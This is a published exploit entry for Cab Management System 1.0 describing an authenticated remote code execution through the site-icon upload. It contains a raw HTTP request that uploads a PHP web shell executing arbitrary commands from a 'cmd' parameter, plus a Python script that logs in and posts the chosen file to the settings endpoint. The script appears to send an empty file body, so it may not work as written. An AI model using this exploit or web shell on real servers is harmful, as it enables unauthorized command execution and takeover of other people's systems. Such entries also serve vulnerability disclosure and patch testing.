Cab Management System 1.0 Exploit, Remote Code Execution (RCE) (Authenticated)

# Exploit Title: Cab Management System 1.0 - Remote Code Execution (RCE) (Authenticated)
# Exploit Author: Alperen Ergel
# Contact: @alpernae (IG/TW)
# Software Homepage: https://www.sourcecodester.com/php/15180/cab-management-system-phpoop-free-source-code.html
# Version : 1.0
# Tested on: windows 10 xammp | Kali linux
# Category: WebApp
# Google Dork: N/A
# Date: 18.02.2022
######## Description ########
#
#
#  Step 1: Login admin account and go settings of site
#  Step 2: Update web site icon and selecet a webshell.php
#  Step3 : Upload your webshell that's it...
#
######## Proof of Concept ########

========>>> START REQUEST <<<=========

POST /cms/classes/SystemSettings.php?f=update_settings HTTP/1.1
Host: localhost
Content-Length: 11338
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryc5vp1oayEolowCbb
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/cms/admin/?page=system_info
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=samlsgsrh4iq50eqc1qldpthml
Connection: close


<-- SNIPP HERE -->
------WebKitFormBoundaryc5vp1oayEolowCbb
Content-Disposition: form-data; name="img"; filename="shell.php"
Content-Type: application/octet-stream

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
------WebKitFormBoundaryc5vp1oayEolowCbb
Content-Disposition: form-data; name="cover"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryc5vp1oayEolowCbb--
<-- SNIPP HERE -->

========>>> END REQUEST <<<=========


========>>> EXPLOIT CODE <<<=========


import requests
print("""
--------------------------------------------
|                                          |
|   Author: Alperen Ergel (@alpernae)      |
|                                          |
|   CAB Management System v1 Exploit       |
|                                          |
--------------------------------------------
""")
username = input("Username: ")
password = input("Password: ")
URL = input("Domain: ")

burp0_url = "http://" + URL + "/cms/classes/Login.php?f=login"
burp0_headers = {"sec-ch-ua": "\"(Not(A:Brand\";v=\"8\", \"Chromium\";v=\"98\"", "Accept": "*/*", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "sec-ch-ua-mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36", "sec-ch-ua-platform": "\"Windows\"", "Origin": "http://192.168.1.33", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://192.168.1.33/cms/admin/login.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_data = {"username": username, "password": password}
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)


FILE = input("File: ")

burp0_url = "http://" + URL + "/cms/classes/SystemSettings.php?f=update_settings"
burp0_headers = {"sec-ch-ua": "\"(Not(A:Brand\";v=\"8\", \"Chromium\";v=\"98\"", "Accept": "*/*", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryc5vp1oayEolowCbb", "X-Requested-With": "XMLHttpRequest", "sec-ch-ua-mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36", "sec-ch-ua-platform": "\"Windows\"", "Origin": "http://localhost", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://localhost/cms/admin/?page=system_info", "Accept-Encoding": "gzip, deflate", "Accept-Language": "tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_data = "------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nCab Management System\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"short_name\"\r\n\r\nCMS - PHP\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"content[welcome]\"\r\n\r\n<ptest</p>\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"files\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"content[about]\"\r\n\r\n<ptest</p>\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"files\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"img\"; filename=\"" + FILE + "\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"cover\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb--\r\n"
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)

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